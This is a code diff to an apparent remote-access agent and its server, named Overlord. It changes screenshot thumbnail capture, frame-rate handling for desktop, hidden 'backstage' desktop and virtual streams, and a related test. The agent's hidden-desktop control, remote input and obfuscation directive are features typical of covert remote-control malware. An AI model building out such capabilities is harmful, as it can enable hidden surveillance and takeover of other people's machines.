@@ -344,7 +356,7 @@ func captureDisplayBitBlt(display int) (*image.RGBA, error) {
 		img, bitDur, dibDur, convDur, err = captureWithDC()
 	}
 	if err != nil {
-		state.reset()
+		captureState.reset()
 		return nil, err
 	}
 
@@ -447,14 +459,15 @@ func resizeNearest(src *image.RGBA, w, h int) *image.RGBA {
 }
 
 type capState struct {
-	mu     sync.Mutex
-	hdcMem uintptr
-	hbmp   uintptr
-	buf    []byte
-	stride int
-	w      int
-	h      int
-	bits   unsafe.Pointer
+	mu        sync.Mutex
+	hdcMem    uintptr
+	hbmp      uintptr
+	buf       []byte
+	stride    int
+	w         int
+	h         int
+	bits      unsafe.Pointer
+	createdAt time.Time
 }
 
 func (s *capState) ensure(hdcScreen uintptr, w, h int) (uintptr, uintptr, []byte, int, error) {
@@ -466,7 +479,7 @@ func (s *capState) ensure(hdcScreen uintptr, w, h int) (uintptr, uintptr, []byte
 		if s.hdcMem == 0 {
 			return 0, 0, nil, 0, syscall.EINVAL
 		}
-		stateCreatedAt = time.Now()
+		s.createdAt = time.Now()
 	}
 
 	if s.w != w || s.h != h || s.hbmp == 0 {
@@ -519,7 +532,7 @@ func (s *capState) reset() {
 	s.w = 0
 	s.h = 0
 	s.bits = nil
-	stateCreatedAt = time.Time{}
+	s.createdAt = time.Time{}
 }
 
 func captureScale() float64 {
@@ -554,6 +567,19 @@ func effectiveScale(srcW, srcH int) float64 {
 	return s
 }
 
+func scaleForMaxHeight(srcH, maxHeight int) float64 {
+	s := captureScale()
+	if s > 1 {
+		s = 1
+	}
+	if maxHeight > 0 && srcH > maxHeight {
+		if capScale := float64(maxHeight) / float64(srcH); capScale < s {
+			s = capScale
+		}
+	}
+	return s
+}
+
 func storeLastScale(s float64) {
 	lastCapScale.Store(math.Float64bits(s))
 }
diff --git a/Overlord-Client/cmd/agent/handlers/backstage.go b/Overlord-Client/cmd/agent/handlers/backstage.go
index a354906..bc5e995 100644
--- a/Overlord-Client/cmd/agent/handlers/backstage.go
+++ b/Overlord-Client/cmd/agent/handlers/backstage.go
@@ -33,13 +33,15 @@ func backstageStart(ctx context.Context, env *rt.Env, autoStartExplorer bool) er
 	fps := activebackstageTargetFPS()
 	interval := time.Second / time.Duration(fps)
 	capture.SetBackstageH264TargetFPS(fps)
-	capture.SetFrameFlowTargetFPS(fps)
 	log.Printf("backstage: starting stream (target fps %d)", fps)
 
 	if err := capture.InitializebackstageDesktop(); err != nil {
 		log.Printf("backstage: failed to initialize hidden desktop: %v", err)
 		return err
 	}
+	capture.StartFrameFlowStream("backstage", fps)
+	defer capture.StopFrameFlowStream("backstage")
+	defer capture.CleanupbackstageDesktop()
 
 	if autoStartExplorer {
 		goSafe("backstage auto-start explorer", nil, func() {
@@ -56,21 +58,19 @@ func backstageStart(ctx context.Context, env *rt.Env, autoStartExplorer bool) er
 		select {
 		case <-ctx.Done():
 			log.Printf("backstage: stopping stream")
-			capture.CleanupbackstageDesktop()
 			return nil
 		case <-ticker.C:
 			fps := activebackstageTargetFPS()
 			if fps != currentFPS {
 				currentFPS = fps
 				capture.SetBackstageH264TargetFPS(fps)
-				capture.SetFrameFlowTargetFPS(fps)
+				capture.UpdateFrameFlowStream("backstage", fps)
 				ticker.Reset(time.Second / time.Duration(fps))
 				log.Printf("backstage: target fps changed to %d", fps)
 			}
 			if err := capture.Nowbackstage(ctx, env); err != nil {
 				if ctx.Err() != nil {
 					log.Printf("backstage: stopping stream")
-					capture.CleanupbackstageDesktop()
 					return nil
 				}
 				log.Printf("backstage: capture error: %v", err)
@@ -91,7 +91,7 @@ func SetbackstageTargetFPS(fps int) int {
 	fps = clampDesktopTargetFPS(fps)
 	backstageTargetFPS.Store(int64(fps))
 	capture.SetBackstageH264TargetFPS(fps)
-	capture.SetFrameFlowTargetFPS(fps)
+	capture.UpdateFrameFlowStream("backstage", fps)
 	return fps
 }
 
diff --git a/Overlord-Client/cmd/agent/handlers/command.go b/Overlord-Client/cmd/agent/handlers/command.go
index f8c55dd..25cc3e4 100644
--- a/Overlord-Client/cmd/agent/handlers/command.go
+++ b/Overlord-Client/cmd/agent/handlers/command.go
@@ -595,17 +595,20 @@ func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]in
 	case "screenshot":
 		payload, _ := envelope["payload"].(map[string]interface{})
 		allDisplays := false
+		dashboardThumbnail := false
 		if payload != nil {
+			mode, _ := payload["mode"].(string)
+			dashboardThumbnail = mode == "thumbnail"
 			if v, ok := payload["allDisplays"].(bool); ok && v {
 				allDisplays = true
-			} else if mode, ok := payload["mode"].(string); ok && mode == "notification" {
+			} else if mode == "notification" || mode == "thumbnail" {
 				allDisplays = true
 			}
 		}
 		if goruntime.GOOS == "windows" {
 			allDisplays = true
 		}
-		return HandleScreenshot(ctx, env, cmdID, allDisplays)
+		return HandleScreenshot(ctx, env, cmdID, allDisplays, dashboardThumbnail)
 	case "plugin_load":
 		payload, _ := envelope["payload"].(map[string]interface{})
 		if payload == nil {
@@ -1137,6 +1140,22 @@ func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]in
 		}
 		capture.RequestDesktopRecoveryAfterBackstageStart()
 		if VirtualMode {
+			// The hidden-desktop and virtual-display implementations share the
+			// backstage encoder, frame history, and fallback capture caches. Stop
+			// the other implementation before switching; ordinary remote desktop
+			// remains independent and continues running.
+			env.BackstageMu.Lock()
+			if env.BackstageCancel != nil {
+				env.BackstageCancel()
+				waitStreamStop(env.BackstageDone, "backstage")
+				env.BackstageCancel = nil
+				env.BackstageDone = nil
+			}
+			env.BackstageMouseControl = false
+			env.BackstageKeyboardControl = false
+			env.BackstageCursorCapture = false
+			clearbackstageInputQueue()
+			env.BackstageMu.Unlock()
 			env.VirtualMu.Lock()
 			if env.VirtualCancel != nil {
 				env.VirtualCancel()
@@ -1165,6 +1184,12 @@ func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]in
 			sendCommandResultSafe(env, cmdID, true, "")
 			return nil
 		}
+		env.VirtualMu.Lock()
+		if env.VirtualCancel != nil {
+			log.Printf("hidden: stopping virtual stream before starting backstage desktop")
+			stopVirtualStreamLocked(env)
+		}
+		env.VirtualMu.Unlock()
 		env.BackstageMu.Lock()
 		if env.BackstageCancel != nil {
 			env.BackstageCancel()
diff --git a/Overlord-Client/cmd/agent/handlers/desktop.go b/Overlord-Client/cmd/agent/handlers/desktop.go
index d8bd470..5f57961 100644
--- a/Overlord-Client/cmd/agent/handlers/desktop.go
+++ b/Overlord-Client/cmd/agent/handlers/desktop.go
@@ -34,7 +34,8 @@ func DesktopStart(ctx context.Context, env *rt.Env) error {
 	fps := activeDesktopTargetFPS()
 	interval := time.Second / time.Duration(fps)
 	capture.SetDesktopH264TargetFPS(fps)
-	capture.SetFrameFlowTargetFPS(fps)
+	capture.StartFrameFlowStream("desktop", fps)
+	defer capture.StopFrameFlowStream("desktop")
 	log.Printf("desktop: starting stream (target fps %d)", fps)
 	ticker := time.NewTicker(interval)
 	defer ticker.Stop()
@@ -49,7 +50,7 @@ func DesktopStart(ctx context.Context, env *rt.Env) error {
 			if fps != currentFPS {
 				currentFPS = fps
 				capture.SetDesktopH264TargetFPS(fps)
-				capture.SetFrameFlowTargetFPS(fps)
+				capture.UpdateFrameFlowStream("desktop", fps)
 				ticker.Reset(time.Second / time.Duration(fps))
 				log.Printf("desktop: target fps changed to %d", fps)
 			}
@@ -76,7 +77,7 @@ func SetDesktopTargetFPS(fps int) int {
 	fps = clampDesktopTargetFPS(fps)
 	desktopTargetFPS.Store(int64(fps))
 	capture.SetDesktopH264TargetFPS(fps)
-	capture.SetFrameFlowTargetFPS(fps)
+	capture.UpdateFrameFlowStream("desktop", fps)
 	return fps
 }
 
diff --git a/Overlord-Client/cmd/agent/handlers/screenshot.go b/Overlord-Client/cmd/agent/handlers/screenshot.go
index c0a40fb..55951f0 100644
--- a/Overlord-Client/cmd/agent/handlers/screenshot.go
+++ b/Overlord-Client/cmd/agent/handlers/screenshot.go
@@ -9,6 +9,9 @@ import (
 	"image/jpeg"
 	"log"
 	goruntime "runtime"
+	"runtime/debug"
+	"sync"
+	"time"
 
 	"overlord-client/cmd/agent/capture"
 	rt "overlord-client/cmd/agent/runtime"
@@ -18,12 +21,18 @@ import (
 )
 
 var (
-	monitorCountFn  = capture.MonitorCount
-	displayBoundsFn = capture.DisplayBounds
-	captureRectFn   = screenshot.CaptureRect
+	monitorCountFn            = capture.MonitorCount
+	displayBoundsFn           = capture.DisplayBounds
+	captureRectFn             = screenshot.CaptureRect
+	thumbnailCaptureDisplayFn = capture.CaptureDisplayRGBAThumbnail
+	thumbnailCaptureCleanupFn = capture.CleanupThumbnailCapture
+	screenshotScavengeMu      sync.Mutex
+	screenshotScavengeTimer   *time.Timer
 )
 
-func HandleScreenshot(ctx context.Context, env *rt.Env, cmdID string, allDisplays bool) error {
+const dashboardThumbnailMaxHeight = 1080
+
+func HandleScreenshot(ctx context.Context, env *rt.Env, cmdID string, allDisplays, dashboardThumbnail bool) error {
 	//garble:controlflow block_splits=10 junk_jumps=10 flatten_passes=2
 
 	if allDisplays {
@@ -44,7 +53,16 @@ func HandleScreenshot(ctx context.Context, env *rt.Env, cmdID string, allDisplay
 		}
 	}()
 
-	img, _, bounds, err := captureScreenshotImage(allDisplays)
+	var img *image.RGBA
+	var bounds image.Rectangle
+	var err error
+	if dashboardThumbnail && goruntime.GOOS == "windows" {
+		img, _, bounds, err = captureDashboardThumbnailWindows(allDisplays)
+		thumbnailCaptureCleanupFn()
+		defer scheduleScreenshotHeapScavenge()
+	} else {
+		img, _, bounds, err = captureScreenshotImage(allDisplays)
+	}
 	if err != nil {
 		log.Printf("screenshot: capture failed: %v", err)
 		return wire.WriteMsg(ctx, env.Conn, wire.CommandResult{
@@ -56,7 +74,11 @@ func HandleScreenshot(ctx context.Context, env *rt.Env, cmdID string, allDisplay
 	}
 
 	var buf bytes.Buffer
-	opts := &jpeg.Options{Quality: 92}
+	quality := 92
+	if dashboardThumbnail {
+		quality = 85
+	}
+	opts := &jpeg.Options{Quality: quality}
 	if err := jpeg.Encode(&buf, img, opts); err != nil {
 		log.Printf("screenshot: jpeg encode failed: %v", err)
 		return wire.WriteMsg(ctx, env.Conn, wire.CommandResult{
@@ -91,6 +113,110 @@ func HandleScreenshot(ctx context.Context, env *rt.Env, cmdID string, allDisplay
 	})
 }
 
+func scheduleScreenshotHeapScavenge() {
+	screenshotScavengeMu.Lock()
+	defer screenshotScavengeMu.Unlock()
+	if screenshotScavengeTimer != nil {
+		screenshotScavengeTimer.Stop()
+	}
+	screenshotScavengeTimer = time.AfterFunc(time.Second, func() {
+		screenshotScavengeMu.Lock()
+		screenshotScavengeTimer = nil
+		screenshotScavengeMu.Unlock()
+		debug.FreeOSMemory()
+	})
+}
+
+func captureDashboardThumbnailWindows(allDisplays bool) (*image.RGBA, int, image.Rectangle, error) {
+	monitorCount := monitorCountFn()
+	if monitorCount <= 0 {
+		return nil, 0, image.Rectangle{}, errors.New("no active displays available")
+	}
+	if !allDisplays {
+		img, err := thumbnailCaptureDisplayFn(0, dashboardThumbnailMaxHeight)
+		if err != nil {
+			return nil, 0, image.Rectangle{}, err
+		}
+		if img == nil {
+			return nil, 0, image.Rectangle{}, errors.New("dashboard thumbnail capture returned no image")
+		}
+		return img, 0, img.Rect, nil
+	}
+
+	type thumbnailPart struct {
+		bounds image.Rectangle
+		img    *image.RGBA
+	}
+	parts := make([]thumbnailPart, 0, monitorCount)
+	minX, minY := int(1e9), int(1e9)
+	monitorBounds := make([]image.Rectangle, monitorCount)
+	maxMonitorHeight := 0
+	for i := 0; i < monitorCount; i++ {
+		bounds := displayBoundsFn(i)
+		monitorBounds[i] = bounds
+		if bounds.Dy() > maxMonitorHeight {
+			maxMonitorHeight = bounds.Dy()
+		}
+		if bounds.Min.X < minX {
+			minX = bounds.Min.X
+		}
+		if bounds.Min.Y < minY {
+			minY = bounds.Min.Y
+		}
+	}
+	if maxMonitorHeight <= 0 {
+		return nil, 0, image.Rectangle{}, errors.New("invalid dashboard monitor bounds")
+	}
+	layoutScale := 1.0
+	if maxMonitorHeight > dashboardThumbnailMaxHeight {
+		layoutScale = float64(dashboardThumbnailMaxHeight) / float64(maxMonitorHeight)
+	}
+	for i, bounds := range monitorBounds {
+		monitorMaxHeight := int(float64(bounds.Dy()) * layoutScale)
+		if monitorMaxHeight < 1 {
+			monitorMaxHeight = 1
+		}
+		img, err := thumbnailCaptureDisplayFn(i, monitorMaxHeight)
+		if err != nil {
+			return nil, 0, image.Rectangle{}, err
+		}
+		if img == nil {
+			return nil, 0, image.Rectangle{}, errors.New("dashboard thumbnail capture returned no image")
+		}
+		parts = append(parts, thumbnailPart{bounds: bounds, img: img})
+	}
+
+	type positionedPart struct {
+		img  *image.RGBA
+		offX int
+		offY int
+	}
+	positioned := make([]positionedPart, len(parts))
+	canvasW, canvasH := 0, 0
+	for i, part := range parts {
+		positioned[i] = positionedPart{
+			img:  part.img,
+			offX: int(float64(part.bounds.Min.X-minX) * layoutScale),
+			offY: int(float64(part.bounds.Min.Y-minY) * layoutScale),
+		}
+		if right := positioned[i].offX + part.img.Rect.Dx(); right > canvasW {
+			canvasW = right
+		}
+		if bottom := positioned[i].offY + part.img.Rect.Dy(); bottom > canvasH {
+			canvasH = bottom
+		}
+	}
+	if canvasW <= 0 || canvasH <= 0 {
+		return nil, 0, image.Rectangle{}, errors.New("invalid dashboard thumbnail bounds")
+	}
+	canvas := image.NewRGBA(image.Rect(0, 0, canvasW, canvasH))
+	for _, part := range positioned {
+		dst := image.Rect(part.offX, part.offY, part.offX+part.img.Rect.Dx(), part.offY+part.img.Rect.Dy())
+		draw.Draw(canvas, dst, part.img, part.img.Rect.Min, draw.Src)
+	}
+	return canvas, 0, canvas.Rect, nil
+}
+
 func captureScreenshotImage(allDisplays bool) (*image.RGBA, int, image.Rectangle, error) {
 	if goruntime.GOOS == "windows" {
 		if img, displayIndex, bounds, err := captureScreenshotImageWindows(allDisplays); err == nil && img != nil {
diff --git a/Overlord-Client/cmd/agent/handlers/screenshot_windows_test.go b/Overlord-Client/cmd/agent/handlers/screenshot_windows_test.go
index 235bafb..b3f86e3 100644
--- a/Overlord-Client/cmd/agent/handlers/screenshot_windows_test.go
+++ b/Overlord-Client/cmd/agent/handlers/screenshot_windows_test.go
@@ -136,7 +136,7 @@ func TestHandleScreenshot_RepeatedRequestsDoNotEmitLiveFrames(t *testing.T) {
 	ctx := context.Background()
 	writer := &testWriter{}
 	for i, commandID := range []string{"cmd-1", "cmd-2"} {
-		if err := HandleScreenshot(ctx, &rt.Env{Conn: writer}, commandID, false); err != nil {
+		if err := HandleScreenshot(ctx, &rt.Env{Conn: writer}, commandID, false, false); err != nil {
 			t.Fatalf("HandleScreenshot request %d failed: %v", i+1, err)
 		}
 	}
@@ -162,3 +162,47 @@ func TestHandleScreenshot_RepeatedRequestsDoNotEmitLiveFrames(t *testing.T) {
 		}
 	}
 }
+
+func TestDashboardThumbnailCapsMultiMonitorCaptureBeforeStitching(t *testing.T) {
+	origMonitorCountFn := monitorCountFn
+	origBoundsFn := displayBoundsFn
+	origThumbnailCaptureFn := thumbnailCaptureDisplayFn
+	t.Cleanup(func() {
+		monitorCountFn = origMonitorCountFn
+		displayBoundsFn = origBoundsFn
+		thumbnailCaptureDisplayFn = origThumbnailCaptureFn
+	})
+
+	monitorCountFn = func() int { return 2 }
+	displayBoundsFn = func(idx int) image.Rectangle {
+		if idx == 0 {
+			return image.Rect(0, 0, 3840, 2160)
+		}
+		return image.Rect(3840, 235, 4920, 2155)
+	}
+	requestedHeights := make([]int, 0, 2)
+	thumbnailCaptureDisplayFn = func(display, maxHeight int) (*image.RGBA, error) {
+		requestedHeights = append(requestedHeights, maxHeight)
+		if display == 0 {
+			return image.NewRGBA(image.Rect(0, 0, 1920, 1080)), nil
+		}
+		return image.NewRGBA(image.Rect(0, 0, 540, 960)), nil
+	}
+
+	img, _, bounds, err := captureDashboardThumbnailWindows(true)
+	if err != nil {
+		t.Fatalf("capture dashboard thumbnail: %v", err)
+	}
+	if img == nil {
+		t.Fatal("expected dashboard thumbnail image")
+	}
+	if len(requestedHeights) != 2 || requestedHeights[0] != 1080 || requestedHeights[1] != 960 {
+		t.Fatalf("unexpected per-monitor capture caps: %v", requestedHeights)
+	}
+	if bounds.Dx() != 2460 || bounds.Dy() != 1080 {
+		t.Fatalf("expected bounded 2460x1080 canvas, got %dx%d", bounds.Dx(), bounds.Dy())
+	}
+	if got := int64(len(img.Pix)); got >= int64(4920*2160*4) {
+		t.Fatalf("thumbnail canvas retained native virtual-desktop allocation: %d bytes", got)
+	}
+}
diff --git a/Overlord-Client/cmd/agent/handlers/virtual.go b/Overlord-Client/cmd/agent/handlers/virtual.go
index 1cb9091..c786cd0 100644
--- a/Overlord-Client/cmd/agent/handlers/virtual.go
+++ b/Overlord-Client/cmd/agent/handlers/virtual.go
@@ -17,13 +17,14 @@ func VirtualStart(ctx context.Context, env *rt.Env) error {
 	fps := activeVirtualTargetFPS()
 	interval := time.Second / time.Duration(fps)
 	capture.SetBackstageH264TargetFPS(fps)
-	capture.SetFrameFlowTargetFPS(fps)
 	log.Printf("virtual: starting stream (target fps %d)", fps)
 
 	if err := capture.InitializeVirtualMode(); err != nil {
 		log.Printf("virtual: failed to initialize virtual mode: %v", err)
 		return err
 	}
+	capture.StartFrameFlowStream("virtual", fps)
+	defer capture.StopFrameFlowStream("virtual")
 	defer capture.CleanupVirtualMode()
 
 	ticker := time.NewTicker(interval)
@@ -39,7 +40,7 @@ func VirtualStart(ctx context.Context, env *rt.Env) error {
 			if fps != currentFPS {
 				currentFPS = fps
 				capture.SetBackstageH264TargetFPS(fps)
-				capture.SetFrameFlowTargetFPS(fps)
+				capture.UpdateFrameFlowStream("virtual", fps)
 				ticker.Reset(time.Second / time.Duration(fps))
 				log.Printf("virtual: target fps changed to %d", fps)
 			}
@@ -66,7 +67,7 @@ func SetVirtualTargetFPS(fps int) int {
 	fps = clampDesktopTargetFPS(fps)
 	virtualTargetFPS.Store(int64(fps))
 	capture.SetBackstageH264TargetFPS(fps)
-	capture.SetFrameFlowTargetFPS(fps)
+	capture.UpdateFrameFlowStream("virtual", fps)
 	return fps
 }
 
diff --git a/Overlord-Server/src/server/routes/client-routes.ts b/Overlord-Server/src/server/routes/client-routes.ts
index ab7a39f..95bf81b 100644
--- a/Overlord-Server/src/server/routes/client-routes.ts
+++ b/Overlord-Server/src/server/routes/client-routes.ts
@@ -314,7 +314,7 @@ export async function handleClientRoutes(
     const beforeVersion = getThumbnailVersion(clientId);
     if (target?.online) {
       const commandId = uuidv4();
-      target.ws.send(encodeMessage({ type: "command", commandType: "screenshot", id: commandId, payload: { mode: "notification", allDisplays: true } }));
+      target.ws.send(encodeMessage({ type: "command", commandType: "screenshot", id: commandId, payload: { mode: "thumbnail", allDisplays: true } }));
       metrics.recordCommand("screenshot");
     }
     const fresh = target?.online ? await waitForThumbnail(clientId, 2500) : false;